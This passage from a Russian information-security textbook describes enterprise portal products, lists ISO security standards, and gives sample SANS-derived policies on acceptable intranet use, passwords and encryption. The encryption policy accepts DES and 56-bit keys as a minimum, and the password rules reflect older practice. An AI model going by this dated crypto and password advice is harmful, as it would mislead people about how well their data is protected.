WPS предоставляет доступ к службам поддержки коллективной работы путем интеграции с продуктами Lotus и Microsoft, причем интерфейс к этим продуктам представлен в виде портлетов. WPS содержит адаптеры-портлеты для Lotus Notes View, E-mail, Calendar, списков To Do и дискуссионных групп. Такие продукты, как Lotus Quickplace, Sametime, LearningSpace и Domino.Doc, можно приобрести отдельно и добавить в WPS в виде портлетов. WPS содержит портлеты и для компонентов Microsoft Exchange: Calendar, Inbox, Contacts и Office Library.
Службы управления документооборотом WPS поддерживают полный документооборот транзакционного типа в рамках нескольких систем, которые совместно формируют бизнес-процесс. Эта функция появилась благодаря интеграции с продуктом MQSeries Workflow.
Подробную информацию о WebSphere Portal Server можно найти на сайте компании IBM.
5.	DataChannel Server (DCS). Базовый сервер DCS компании DataChannel (www.datachannel.com) основан на использовании стандартов Document Object Model (DOM), XML и Java. Его общая структура разделена на три функциональных уровня: данных, приложений и информационного доступа. На уровне данных происходит первичная обработка и хранение полученных из внешних каналов данных. Пользователь взаимодействует только с уровнем доступа, где службы каталогов, поддержки хранилищ информации, подписки и администрирования, в соответствии с его приоритетом, обеспечивают извлечение необходимых пользователю данных и выполнение служебных процедур. Системой поддерживается обработка около 200 форматов документов. Возможен обычный поиск и расширенный, с использованием подготовленных пользователем индексов.
6.	Sybase Enterprise Portal. Используется технология "тонкого клиента" для общения пользователя с информационными ресурсами. Java и XML применяются для доступа к базам данных, сообщений и событий и к промежуточному ПО. Sybase Enterprise Application Server (EAServer) действует как хост дополнительных сервисов типа авторизации и генерации профиля пользователя. "Бесшовный" доступ к дан-ным/информации/событиям/ приложениям. Продукт Sybase Financial Server поддерживает приложения для интерактивного осуществления банковских операций и брокерской деятельности через Интернет. Можно извлекать корпоративные данные и интегрировать их с другими приложениями и унаследованными системами, создавая единое представление данных. Adaptive Server Enterprise расширяет функциональные системы управления операциями, подключая их содержательную часть к порталу.
Приложение 3. ПЕРЕЧЕНЬ СТАНДАРТОВ ISO ПО ЗАЩИТЕ ИНФОРМАЦИИ В ОТКРЫТЫХ СИСТЕМАХ
№ п/п	Обозначение	Название
1	ISO/IEC 2382-8:1998	Information technology - Vocabulary - Part 8: Security
2	ISO/IEC 7064:2003	Information technology - Security techniques - Check character systems
3	ISO 7498-2:1989	Information processing systems - Open Systems Interconnection - Basic Reference Model - Part 2: Security Architecture
4	ISO/IEC 7816-8:1999	Identification cards - Integrated circuit(s) cards with contacts - Part 8: Security related interindustry commands
5	ISO/IEC 7816-9:2000	Identification cards — Integrated circuit(s) cards with contacts — Part 9: Additional interindustry commands and security attributes
6	ISO 9564-1:2002	Banking - Personal Identification Number (PIN) management and security - Part 1: Basic principles and requirements for online PIN handling in ATM and POS systems
7	ISO 9564-2:1991	Banking - Personal Identification Number management and security -Part 2: Approved algorithm(s) for PIN encipherment
8	ISO/IEC 9579:2000	Information technology - Remote database access for SQL with security enhancement
9	ISO 9735-5:2002	Electronic data interchange for administration, commerce and transport (EDIFACT) — Application level syntax rules (Syntax version number: 4, Syntax release number: 1) - Part 5: Security rules for batch EDI (authenticity, integrity and non-repudiation of origin)
10	ISO 9735-7:2002	Electronic data interchange for administration, commerce and transport (EDIFACT) - Application level syntax rules (Syntax version number: 4, Syntax release number: 1) - Part 7: Security rules for batch EDI (confidentiality)
11	ISO 9735-9:2002	Electronic data interchange for administration, commerce and transport (EDIFACT) - Application level syntax rules (Syntax version number: 4, Syntax release number: 1) - Part 9: Security key and certificate management message (message type-KEYMAN)
12	ISO/IEC 9796-2:2002	Information technology - Security techniques - Digital signature schemes giving message recovery - Part 2: Integer factorization based mechanisms
13	ISO/IEC 9796-3:2000	Information technology - Security techniques - Digital signature schemes giving message recovery - Part 3: Discrete logarithm based mechanisms
14	ISO/IEC 9797-1:1999	Information technology - Security techniques - Message Authentication Codes (MACs) - Part I: Mechanisms using a block cipher
15	ISO/IEC 9797-2:2002	Information technology - Security techniques - Message Authentication Codes (MACs) - Part 2: Mechanisms using a dedicated hashfunction
16	ISO/IEC 9798-1:1997	Information technology — Security techniques — Entity authentication -Part 1: General
17	ISO/IEC 9798-2:1999 /Cor 1:2004	Information technology - Security techniques - Entity authentication -Part 2: Mechanisms using symmetric encipherment algorithms
18	ISO/IEC 9798-3:1998	Information technology - Security techniques - Entity authentication -Part 3: Mechanisms using digital signature techniques
19	ISO/IEC 9798-4:1999	Information technology - Security techniques — Entity authentication -Part 4: Mechanisms using a cryptographic check function
488
Информационная безопасность открытых систем
№ п/п	Обозначение	Название
20	ISO/IEC 9798-5:2004	Information technology - Security techniques - Entity authentication -Part 5: Mechanisms using zero knowledge techniques
21	ISO/IEC 9798-6:2005	Information technology - Security techniques - Entity authentication -Part 6: Mechanisms using manual data transfer
22	ISO/IEC 9979:1999	Information technology - Security techniques - Procedures for the registration of cryptographic algorithms
23	ISO/IEC 10021-7:1997/Amd 1:1998	Security error diagnostic codes
24	ISO/IEC 10116:1997	Information technology - Security techniques - Modes of operation for an n-bit block cipher
25	ISO/IEC 10118-1:2000	Information technology - Security techniques - Hash-functions - Part 1: General (available in English only)
26	ISO/IEC 10118- 2:2000	Information technology - Security techniques - Hash-functions - Part 2: Hash-functions using an n-bit block cipher
27	ISO/IEC 10118- 3:2003	Information technology - Security techniques — Hash-functions - Part 3: Dedicated hash-functions
28	ISO/IEC 10118-4:1998	Information technology - Security techniques - Hash-functions - Part 4: Hash-functions using modular arithmetic
29	ISO/IEC 10164- 7:1992	Information technology - Open Systems Interconnection - Systems Management: Security alarm reporting function (available in English only)
30	ISO/IEC 10164-8:1993	Information technology - Open Systems Interconnection - Systems Management: Security audit trail function
31	ISO/IEC 10181-1:1996	Information technology - Open Systems Interconnection - Security frameworks for open systems: Overview
32	ISO/IEC 10181-2:1996	Information technology - Open Systems Interconnection - Security frameworks for open systems: Authentication framework
33	ISO/IEC 10181-3:1996	Information technology - Open Systems Interconnection - Security frameworks for open systems: Access control framework
34	ISO/IEC 10181-4:1997	Information technology — Open Systems Interconnection - Security frameworks for open systems: Non-repudiation framework
35	ISO/IEC 10181- 5:1996	Information technology - Open Systems Interconnection - Security frameworks for open systems: Confidentiality framework
36	ISO/IEC 10181-6:1996	Information technology - Open Systems Interconnection - Security frameworks for open systems: Integrity framework
37	ISO/IEC 10181-7:1996	Information technology - Open Systems Interconnection - Security frameworks for open systems: Security audit and alarms framework
38	ISO 10202-1:1991	Financial transaction cards - Security architecture of financial transaction systems using integrated circuit cards - Part 1: Card life cycle
39	ISO 10202-2:1996	Financial transaction cards - Security architecture of financial transaction systems using integrated circuit cards - Part 2: Transaction process
40	ISO 10202-3:1998	Financial transaction cards - Security architecture of financial transaction systems using integrated circuit cards — Part 3: Cryptographic key relationships
41	ISO 10202-4:1996	Financial transaction cards - Security architecture of financial transaction systems using integrated circuit cards - Part 4: Secure application modules
42	ISO 10202-5:1998	Financial transaction cards - Security architecture of financial transaction systems using integrated circuit cards - Part 5: Use of algorithms
43	ISO 10202-6:1994	Financial transaction cards - Security architecture of financial transaction systems using integrated circuit cards - Part 6: Cardholder verification
Приложение 3. Перечень стандартов ISO по защите информации в открытых системах	489
№ п/п	Обозначение	Название
44	ISO 10202-7:1998	Financial transaction cards - Security architecture of financial transaction systems using integrated circuit cards — Part 7: Key management
45	ISO 10202-8:1998	Financial transaction cards - Security architecture of financial transaction systems using integrated circuit cards - Part 8: General principles and overview
46	ISO/IEC ISP 10608-1:1992/Amd 1:1998	Refemce Optional Security Requirements — Tannn
47	ISO/IEC ISP 10608-5:1992/Amd 1:1998	Reference Optional Security Requirements Specific to X.25 Subnetworks -TAI Ini
48	ISO/IEC ISP 10608-7:1998	Information technology - International Standardized Profile TAnnnn -Connection-mode Transport Service over Connectionless-mode Network Service - Part 7: Security employing the Network Layer Security Protocol - Connectionless-mode for TAnnnn profiles
49	ISO/IEC ISP 10608-8:1998	Information technology - International Standardized Profile TAnnnn -Connection-mode Transport Service over Connectionless-mode Network Service - Part 8: Security employing the Network Layer Security Protocol - Connection-mode with SDT-PDU based protection over X.25 packet switched data networks using virtual calls, for TA1111/TA1121 profiles
50	ISO/IEC ISP 10609-9:1992/Amd 1:1998	Reference Optional Security Requirements - TB/TC/TD/TEnn
51	ISO/IEC ISP 10609-16:1998	Information technology - International Standardized Profiles ТВ, TC, TD and ТЕ - Connection-mode Transport Service over connectionmode Network Service - Part 16: Security employing the Network Layer Security Protocol - Connection-mode with No-header, for ТВ, TC, TD and ТЕ profiles
52	ISO/IEC ISP 10609-17:1998	Information technology — International Standardized Profiles ТВ, TC, TD and ТЕ - Connection-mode Transport Service over connectionmode Network Service - Part 17: Security employing the Network Layer Security Protocol - Connection-mode, with SDT-PDU based Protection, for TB/TC/TD/TEnnn profiles
53	ISO/IEC ISP 10613-1:1994/Amd 2:1998	Reference optional Security Requirements — RAnn.nn profiles
54	ISO/IEC ISP 10613-7:1994/Amd 2:1998	Reference Optional Security Requirements Specific to X.25 Subnetworks - Rann. 1 In 1
55	ISO/IEC ISP 10613-19:1998	Information technology - International Standardized Profile RA - Relaying the Connectionless-mode Network Service - Part 19: Security employing the Network Layer Security Protocol - Connectionlessmode, for RAnn.nn profiles
56	ISO/IEC ISP 10613-20:1998	Information technology - International Standardized Profile RA - Relaying the Connectionless-mode Network Service - Part 20: Security employing the Network Layer Security Protocol - Connection-mode with SDT-PDU based Protection over X.25 packet switched data networks using virtual calls, for RAI 111/RA1121 profiles
57	ISO/IEC 10736:1995	Information technology - Telecommunications and information exchange between systems — Transport layer security protocol
58	ISO/IEC 10745:1995	Information technology - Open Systems Interconnection - Upper layers security model
59	ISO 11442-1:1993	Technical product documentation - Handling of computer-based technical information - Part 1: Security requirements
490
Информационная безопасность открытых систем
№ п/п	Обозначение	Название
60	ISO/IEC 11577:1995	Information technology - Open Systems Interconnection - Network layer security protocol
61	ISO/IEC 11586-1:1996	Information technology - Open Systems Interconnection - Generic upper layers security: Overview, models and notation
62	ISO/IEC 11586- 2:1996	Information technology - Open Systems Interconnection - Generic upper layers security: Security Exchange Service Element (SESE) service definition
63	ISO/IEC 11586-3:1996	Information technology - Open Systems Interconnection - Generic upper layers security: Security Exchange Service Element (SESE) protocol specification
64	ISO/IEC 11586-4:1996	Information technology - Open Systems Interconnection - Generic upper layers security: Protecting transfer syntax specification
65	ISO/IEC 11586-5:1997	Information technology - Open Systems Interconnection - Generic upper layers security: Security Exchange Service Element (SESE) Protocol Implementation Conformance Statement (PICS) proforma
66	ISO/IEC 11586- 6:1997	Information technology - Open Systems Interconnection - Generic upper layers security: Protecting transfer syntax Protocol Implementation Conformance Statement (PICS) proforma
67	ISO/IEC 11770-1:1996	Information technology - Security techniques - Key management -Part 1: Framework
68	ISO/IEC 11770-2:1996	Information technology - Security techniques - Key management -Part 2: Mechanisms using symmetric techniques
69	ISO/IEC 11770- 3:1999	Information technology - Security techniques - Key management -Part 3: Mechanisms using asymmetric techniques'
70	ISO/IEC TR 13335-1:2004	Information technology - Security techniques - Management of information and communications technology security - Part 1: Concepts and models for information and communications technology security management
71	ISO/IEC TR 13335-2:1997	Information technology - Guidelines for the management of IT Security - Part 2: Managing and planning IT Security
72	ISO/IEC TR 13335-3:1998	Information technology - Guidelines for the management of IT Security - Part 3: Techniques for the management of IT Security
73	ISO/IEC TR 13335-4:2000	Information technology - Guidelines for the management of IT Security - Part 4: Selection of safeguards
74	ISO/IEC TR 13335-5:2001	Information technology - Guidelines for the management of IT Security - Part 5: Management guidance on network security
75	ISO 13491-2:2000	Banking - Secure cryptographic devices (retail) - Part 2: Security compliance checklists for devices used in magnetic stripe card systems
76	ISO/TR 13569:1997	Banking and related financial services - Information security guidelines
77	ISO/IEC TR 13594:1995	Information technology - Lower layers security
78	ISO/IEC 13888-1:2004	Information technology - Security techniques - Non-repudiation - Part 1: General
79	ISO/IEC 13888- 2:1998	Information technology - Security techniques — Non-repudiation - Part 2: Mechanisms using symmetric techniques
80	ISO/IEC 13888-3:1997	Information technology - Security techniques - Non-repudiation - Part 3: Mechanisms using asymmetric techniques
81	ISO/IEC TR 14516:2002	Information technology - Security techniques - Guidelines for the use and management of Trusted Third Party services
Приложение 3. Перечень стандартов /SO по защите информации е открытых системах 491
№ п/п	Обозначение	Название
82	ISO/IEC 14888-1:1998	Information technology - Security techniques — Digital signatures with appendix - Part 1: General
83	ISO/IEC 14888- 2:1999	Information technology - Security techniques - Digital signatures with appendix - Part 2: Identity-based mechanisms
84	ISO/IEC 14888-3:1998/Cor 1:2001	Information technology - Security techniques - Digital signatures with appendix - Part 3: Certificate-based mechanisms
85	ISO/IEC TR 15067-4:2001	Information technology - Home Electronic System (HES) Application Model - Part 4: Security System for HES
86	ISO/IEC 15292:2001	Information technology - Security techniques - Protection Profile registration procedures
87	ISO/IEC 15408-1:1999	Information technology - Security techniques - Evaluation criteria for IT security - Part 1: Introduction and general model
88	ISO/IEC 15408-2:1999	Information technology - Security techniques - Evaluation criteria for IT security — Part 2: Security functional requirements
89	ISO/IEC 15408- 3:1999	Information technology - Security techniques - Evaluation criteria for IT security - Part 3: Security assurance requirements
90	ISO/IEC TR 15443-1:2005	Information technology - Security techniques - A framework for IT security assurance - Part 1: Overview and framework
91	ISO/IEC TR 15446:2004	Information technology - Security techniques - Guide for the production of Protection Profiles and Security Targets
92	ISO/IEC 15816:2002	Information technology - Security techniques - Security information objects for access control
93	ISO 15892:2000	Space data and information transfer systems - Protocol specification for space communications - Security protocol
94	ISO/IEC 15945:2002	Information technology - Security techniques - Specification of TTP services to support the application of digital signatures
95	ISO/IEC 15946-1:2002	Information technology - Security techniques - Cryptographic techniques based on elliptic curves - Part 1: General
96	ISO/IEC 15946-2:2002	Information technology - Security techniques - Cryptographic techniques based on elliptic curves - Part 2: Digital signatures
97	ISO/IEC 15946-3:2002	Information technology - Security techniques - Cryptographic techniques based on elliptic curves - Part 3: Key establishment
98	ISO/IEC 15946-4:2004	Information technology - Security techniques — Cryptographic techniques based on elliptic curves - Part 4: Digital signatures giving message recovery
99	ISO/IEC TR 15947:2002	Information technology - Security techniques — IT intrusion detection framework
100	ISO/IEC 16500-7:1999	Information technology - Generic digital audio-visual systems - Part 7: Basic security tools
Приложение 4. ПРИМЕРЫ ПОЛИТИК БЕЗОПАСНОСТИ
(Источник - http://www.sans.org/resources/policies/)
П-4.1. Политика использования ресурсов интранета
1.	Обзор. Данная политика не накладывает ограничений, противоречащих установившейся в Организации культуре открытости, доверия и целостности. Она защищает служащих, партнеров и саму Организацию от незаконных или разрушительных действий индивидуумов, случайных или намеренных.
Системы Интернета/интранета/экстранета, включая, но не ограничиваясь только компьютерами, ПО, ОС, носителями данных, учетными записями для электронной почты, средствами работы с WWW, и FTP, являются собственностью Организации. Эти системы при их обычном функционировании должны использоваться для целей бизнеса и служить интересам компании, а также для ее клиентов и партнеров (ознакомьтесь, пожалуйста, с кадровой политикой Организации).
Эффективная безопасность - это результат работы команды, предполагающий участие и поддержку каждого служащего и подразделения Организации, работающих с информацией и/или ИС. Каждый пользователь компьютера должен знать эти руководящие принципы и вести себя в соответствии с ними.
2.	Цель политики - определить допустимое использование компьютерного оборудования Организации. Данные правила защищают сотрудников Организации. Недопустимое использование ресурсов создает для Организации угрозы заражения компьютерными вирусами и взлома интранета и его сетевых сервисов, а также проблемы юридического характера.
3.	Применение. Политика применяется ко всем служащим, временным рабочим, консультантам, внештатным сотрудникам и другим работникам Организации, включая всех третьих лиц. Политика распространяется на все оборудование, которым владеет или получила в лизинг Организация.
4.	Основные положения. Настоящий документ определяет:
•	порядок предоставления сотрудникам доступа к ресурсам интранета Организации;
	порядок отмены доступа;
•	порядок изменения прав доступа;
•	требования, предъявляемые к сотрудникам Организации в связи с предоставлением им доступа к ресурсам интранета;
•	порядок осуществления контроля доступа;
	ответственность сотрудников Организации.
4	.1. Общее использование и владение.
Поскольку администрация интранета Организации стремится обеспечить разумный уровень секретности, пользователи должны знать, что данные, которые они создают на корпоративных системах, являются собственностью Организации. Администрация интранета Организации вправе знакомиться с личной конфиденциальной информацией служащих, хранимой на любом сетевом устройстве, принадлежащем Организации.
Служащие должны исходить из здравого смысла при персональном пользовании ресурсами интранета.
За разработку руководств по персональному использованию систем Интернета/интранета/экстранета ответственность несут отдельные департаменты. При отсут
Приложение 4. Примеры политик безопасности
493
ствии такой политики служащие должны руководствоваться ведомственной политикой персонального использования. Если служащие в чем-то не уверены, то они должны консультироваться со своим руководителем или администратором.
Любую информацию, которую пользователи считают конфиденциальной или уязвимой, рекомендуется шифровать. Руководство по классификации информации дано в политике для конфиденциальной информации. Шифрование почтовых сообщений и документов регламентируется политикой шифрования
С целью обеспечения функционирования интранета и его защиты уполномоченные лица внутри Организации могут в любое время осуществлять мониторинг оборудования, систем и сетевого трафика (см. политику аудита).
С целью проверки на соответствие политике Организация оставляет за собой право проводить аудит интранета и систем на регулярной основе.
4	.2. Безопасность и составляющая собственность информация.
Пользовательские интерфейсы для доступа к информации, содержащейся в системах Интернета/интранета/экстранета, должны быть отнесены к классу либо конфиденциальному, либо открытому (как это определено в корпоративных руководствах по конфиденциальности). Некоторыми примерами конфиденциальной информации являются: частная собственность Организации, корпоративные стратегии, требующие защиты от конкурентов производственные секреты, спецификации, списки клиентов, исследовательские данные и т. п. Служащие должны делать все возможное, чтобы предотвратить НСД к этой информации.
Храните пароли должным образом и не используйте совместно одну учетную запись. Авторизированные пользователи несут ответственность за защиту своих паролей и учетных записей. Системные пароли должны меняться ежеквартально, пользовательские пароли - каждые полгода.
Все ПК, ноутбуки и рабочие станции должны быть защищены заставками с паролями, активизируемыми через 10 мин пассивности пользователя или менее, или даже средствами перезагрузки (типа "control-alt-delete" в Win2000).
Шифруйте данные в соответствии с политикой шифрования.
Поскольку информация на портативных компьютерах особо уязвима, нужно быть особо внимательными. Защищайте ноутбуки в соответствии с рекомендациями по их защите.
Посылка сообщений в группы новостей с электронных адресов Организации должна содержать приписку, что выраженное мнение является личным мнением отправителя, а не всей Организации, если такая отправка сообщений не входит в обязанности служащего.
Все используемые служащими хосты, соединенные с Интернетом/интранетом/ экстранетом Организации и являющиеся собственностью служащего или Организации, должны постоянно сканироваться антивирусным ПО с актуальной энциклопедией обнаруживаемых вирусов, если это не нарушает ведомственную или групповую политику.
Служащие должны проявлять особую бдительность при открытии прикреплений к почтовым сообщениям, полученным от незнакомых отправителей, поскольку там могут находиться вирусы, почтовые бомбы или троянские программы.
494
Информационная безопасность открытых систем
4	.3. Недопустимое использование.
В общем случае запрещены следующие действия. Служащие могут быть освобождены от этих ограничений при выполнении своих законных рабочих обязанностей (например, системным администраторам может потребоваться отключить доступ хоста к сети, если этот хост мешает работе сервисов).
Ни при каких обстоятельствах служащим Организации не разрешается участвовать в каких-либо действиях по использованию ресурсов Организации, являющихся незаконными в соответствии с местным, федеральным, государственным или международным законодательством.
Приведенный ниже список ни в коем случае не является исчерпывающим, но он может служить основой для определения действий, которые попадают в категорию недопустимого использования.
Работа с системами и сетями. Строго запрещаются следующие действия, все без исключения:
	нарушение прав любого человека или компании, защищенных авторским правом, торговый секретом, патентом, или другой интеллектуальной собственностью, или другими законами или актами, включая, но не ограничиваясь, установку или распространение "украденных" или других программных продуктов, на использование которых Организация не имеет соответствующих лицензий;
	несанкционированное копирование авторского материала, включая, но не ограничиваясь, оцифровку и распространение фотографий из журналов, книг или других авторских источников, авторской музыки и установку любого авторского ПО, на которые Организация или конечный пользователь не имеет действующей лицензии;
	экспорт ПО, технической информации, технологий и ПО для шифрования, предусмотренных международными или региональными экспортными законами (при сомнениях требуется консультация со специалистами);
	внедрение разрушающих программ в сети или серверы (например, вирусов, червей, троянских коней, почтовых бомб и т. п.);
	передача пароля своей учетной записи или разрешение использовать эту учетную запись других лицам (например, членам семьи при работе в домашних условиях);
	использование вычислительных мощностей Организации в личных целях;
	мошеннические предложения продукции, изделий или услуг, исходящие с любой учетной записи Организации;
	заверения о гарантиях, явно или неявно, если это не является частью обычных рабочих обязанностей;
	осуществление нарушений безопасности или разрушение связей интранета ("нарушение безопасности" включает, но не ограничивается, доступом к данным, входом на сервер или учетную запись, к которым служащему доступ не предусмотрен, если это не входит в круг обычных рабочих обязанностей; "разрушение" включает, но не ограничивается, перехват трафика, наводнение ping-запросами, подмену пакетов, "отказ в обслуживании" и подделку информации о маршрутизации с конкретными целями);
	сканирование портов или защиты;
Приложение 4. Примеры политик безопасности
495
	выполнение любых форм мониторинга интранета, позволяющее перехватить данные, не предназначенные для хостов служащих, если это не является частью обычных рабочих обязанностей;
	обход аутентификации пользователя или защиты любого хоста, сети или учетной записи;
	вмешательство в работу или блокирование сервиса для любого пользователя, отличного от хоста служащего (например, "отказ в обслуживании");
	использование любой программы/сценария/команды или посылка любых сообщений с целью вмешательства или отключения пользовательских терминальных сессий, применяя любые средства, локально или через Интернет/интранет/экстранет;
•	передача информации о служащим(-щих) Организации лицами вне Организации.
Работа с электронной почтой и средствами связи. Строго запрещаются следующие действия, все без исключения:
	посылка незапрашиваемых электронных сообщений, включая материалы рекламного характера, пользователям, которые не просили об этом (спэм);
	любые формы преследования по электронной почте, телефону или пейджеру, независимо от языка, частоты или размера сообщений;
	несанкционированное использование или подделка заголовков почтовых сообщений;
	запрос адреса с любого другого почтового адреса, отличного от указанного в качестве отправителя, с целью беспокоить или собирать ответы;
	создание или пересылка сообщений, использующих схему пирамиды;
	использование незапрашиваемых сообщений, приходящих в интранет Организации из Интернета/интранета/экстранета других сервис-провайдеров, от имени или с целью рекламы любых сервисов, предоставляемых Организацией или соединение с которыми происходит через интранет Организации;
	посылка одинаковых или похожих не относящихся к бизнесу сообщений в большое число групп новостей.
5.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
6.	Определение. Спэм - несанкционированная и/или незапрашиваемая массовая рассылка почтовых сообщений.
7.	История пересмотра политики (например, в виде таблицы с датами внесенных изменений и их содержанием).
П-4.2. Политика в отношении паролей
1.	Обзор. Пароль является важным аспектом обеспечения ИБ. Это первый рубеж защиты учетных записей пользователей. Плохо выбранный пароль может стать причиной взлома всего интранета Организации. Поэтому все сотрудники Организации (включая работающих по контракту и партнеров, имеющих доступ к системам Организации) являются ответственными за соответствующие шаги, как отмечено ниже, по выбору и защите своих паролей.
2.	Цель. Цель политики - установить стандарт по созданию сильных паролей, их защите и частоте смены. Настоящая политика устанавливает требования к порядку выбора, хранения, использования, периодичности смены и другим вопросам, связанным с применением механизмов парольной аутентификации в ИС организации.
496
Информационная безопасность открытых систем
3.	Применение - для всего персонала, имеющего свою учетную запись или ответственного за нее (или за любую форму доступа, которая поддерживается или требует пароля) в любой системе, находящейся в Организации, имеющей доступ к интранету Организации или хранящей любую информацию Организации, предназначенную не для всеобщего доступа.
4.	Основные положения.
4.1.	Общие положения.
Все системные пароли (например, root, NT admin, учетные записи администраторов приложений и т. п.) должны изменяться по крайней мере раз в квартал.
Все системные пароли для продуктов должны храниться в единой базе данных паролей, администрируемой соответствующей организацией (за рубежом - это InfoSec).
Все пароли пользователей (например, почтовые, Интернета, для настольного компьютера и т. п.) должны изменяться по крайней мере каждые шесть месяцев. Рекомендуемая частота смены пароля - каждые четыре месяца.
Учетные записи пользователей, имеющие системные привилегии, заданные с помощью членства в группе или программы типа "sudo", должны иметь уникальный пароль, отличный от других паролей этого пользователя.
Пароли нельзя передавать по электронной почте или другим видам электронных средств связи.
При использовании протокола управления сетью SNMP пароли для "community strings" должны быть отличны от установок по умолчанию "public," "private" и "system" и от паролей, используемых для входа в интерактивный режим. Везде, где это возможно, должен использоваться хеш с ключом (например, SNMPv2).
Все пользовательские и системные пароли должны выбираться в соответствии с нижеприведенным руководством.
4.2.	Руководство.
А. Общее руководство по выбору паролей. В Организации пароли используются с разными целями. Чаще это: пользовательские учетные записи, доступ к Интернет, почтовые пароли, пароли для заставок, пароли для голосовой почты и пароли на локальных маршрутизаторах. Поскольку не везде используются одноразовые (динамические) пароли, нужно знать, как выбрать сильный пароль.
Слабые пароли обладают следующими свойствами:
	пароль содержит менее восьми символов;
	пароль является словом из словаря какого-либо языка;
	пароль содержит:
•	фамилию, кличку животного, имя друга или сотрудника, фантастическое имя и т. п.;
•	компьютерный термин или имя, команду, узел, наименование компании, название АО или ПО;
	производное от наименования Организации;
•	дату рождения или другую персональную информацию типа адреса или номера телефона;
•	слово или сочетание символов типа aaabbb, qwerty, zyxwvuts, 123321 и т. п.;
	все перечисленное, только в обратном порядке написания;
Приложение 4. Примеры политик безопасности
497
 любое из перечисленного с цифрой на конце или в начале (например, secretl, 1 secret).
Сильные пароли имеют следующие характеристики:
	Содержит символы на верхнем и нижнем регистре.
	Наряду с буквами содержит цифры и знаки препинания (!@#$%Л&*()_+|— =V{
	Состоит не менее чем из восьми символов.
	Не является словом любого языка, сленга, диалекта, жаргона и т. п.
	Не содержит персональной информации, фамилии и т. п.
	Не записан рядом с компьютером или хранится на нем в специально с этой целью созданном файле. Лучше выбрать пароль, который легко запомнить. Один из способов - взять за основу название песни, пословицы и т. п. Например, на основе фразы "This May Be One Way То Remember" можно создать пароль "TmBlw2R!" или "TmblW>r~".
В. Стандарты защиты паролей. Все пароли являются конфиденциальной информацией Организации.
Для учетных записей в Организации и вне нее используйте разные пароли. Внутри Организации для различного доступа (к приложениям, к разным ОС и т. п.) также используйте разные пароли.
Не используйте одну учетную запись в Организации совместно с кем-либо, включая помощников или секретарей.
Также запрещается:
	говорить кому-либо пароль по телефону;
	писать пароль в почтовом сообщении;
	давать пароль начальнику;
	обсуждать пароль с коллегами;
	намекать на формат пароля (например, "моя фамилия");
	не писать пароль при опросах;
	не использовать один пароль всеми членами семьи;
	не давать пароль коллегам на время своего отсутствия на работе.
Если кто-либо просит ваш пароль, ссылайтесь на этот документ или просите позвонить в департамент ИБ.
Не использовать опцию приложений "Запомнить пароль" (например, в Microsoft OutLook или Netscape Messenger).
Не хранить записанным на бумаге пароль в офисе или на компьютере в незашифрованном файле.
Меняйте пароль не реже раза в полгода (системные пароли нужно менять ежеквартально). Рекомендуемый срок смены паролей - каждые четыре месяца.
Если есть подозрения, что пароль или учетная запись были взломаны, сообщите об инциденте соответствующему уполномоченному лицу и замените все пароли.
Периодически пробуйте взломать или подобрать пароль. Если это удается с применением соответствующих средств, потребуйте от пользователя сменить пароль.
С. Стандарты для разработки приложений. Разработчики приложений должны создавать программы, имеющие следующие свойства:
	аутентификация отдельных пользователей, а не групп;
498
Информационная безопасность открытых систем
	хранение паролей не должно осуществляться в открытом виде или в любой легко читаемой форме;
	некоторое управление ролями типа того, когда один пользователь может получить функции другого без знания его пароля;
	поддержка TACACS+, RADIUS и/или Х.509 с LDAP, где это возможно.
D. Использование паролей и парольных фраз для удаленного доступа пользователей. Доступ к интранету Организации посредством удаленного доступа должен контролироваться на основе одноразовых паролей или ключевой системы с сильными парольными фразами.
Е. Парольные фразы. Парольные фразы обычно используются для аутентификации с открытым/личным ключом. Такая система определяет математическое отношение между известным всем открытым ключом и личным ключом, известным только пользователю. Без парольной фразы, открывающей личный ключ, пользователь не может получить доступ.
Парольные фразы - это не то же самое, что пароли. Парольная фраза - это более длинная и поэтому более защищенная версия пароля. Обычно она состоит из нескольких слов. Кроме того, такая фраза более защищена от атак по словарю.
Правильно составленная парольная фраза достаточно длинна и содержит комбинации символов, цифр и знаков препинания на верхнем и нижнем регистрах. Например, "The*?#>*@TrafficOnThel01Was*&#!#ThisMoming". Все правила выбора паролей применены и к парольным фразам.
5.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
6.	Определение. Учетная запись администратора приложения - любая учетная запись, предназначенная для администрирования приложения (например, администратора базы данных Oracle и т. п.).
7.	История пересмотра политики.
П-4.3. Политика шифрования
1.	Цель политики — определить условия и способы использования шифрования для тех алгоритмов, которые известны в настоящее время в обществе и доказали свою эффективную работу. Также данная политика создает условия для гарантированного соблюдения федеральных законов и определяет полномочные органы по распространению и использованию технологий шифрования вне страны, в которой находится Организация.
2.	Применение. Политика применяется ко всем служащим и партнерам Организации.
3.	Основные положения. Стандартные алгоритмы шифрования типа DES, Blowfish, RSA, RC5 и IDEA (в России - это ГОСТ 28147-89) должны использоваться в качестве основы для шифрования. Эти алгоритмы представляют фактический шифр, используемый для одобренного применения. Например, Pretty Good Privacy (PGP) использует комбинацию IDEA и RSA или Диффи-Хеллмана, a Secure Socket Layer (SSL) использует RSA. Для симметричной криптосистемы длина ключа должна быть не менее 56 бит. Для асимметричных криптосистем ключи должны иметь длину, обеспечивающую эквивалентную силу. Для Организации требования к длине ключа будут пересматриваться ежегодно и обновляться, насколько это позволяют технологии. Использование собственных алгоритмов шифрования не разрешается ни
Приложение 4. Примеры политик безопасности
499
в каких целях, пока не будет получено заключение квалифицированных экспертов не из числа заинтересованных лиц и одобрено соответствующим полномочным органом страны, где находится Организация. Это не должно противоречить экспортным ограничениям на технологии шифрования страны.
4.	Ответственность. Любой служащий, нарушивший политику, может быть привлечен к дисциплинарному наказанию, вплоть до увольнения с работы.
5.	Определения. Собственное шифрование - алгоритм, который не был обнародован и/или не представлялся на исследование общественности. Разработчиком алгоритма может быть фирма, индивидуум или правительство. Симметричная криптосистема - метод шифрования, в котором один ключ используется как для шифрования, так и расшифрования данных. Асимметричная криптосистема — метод шифрования, в котором используются два различных ключа: один - для шифрования, другой - для расшифрования данных.
6.	История пересмотра политики.
П-4.4. Антивирусная политика
{.Цель - определить требования, обеспечивающие эффективное обнаружение и предотвращение вирусов, которые должны выполняться для всех компьютеров, соединенных с интранетом Организации.
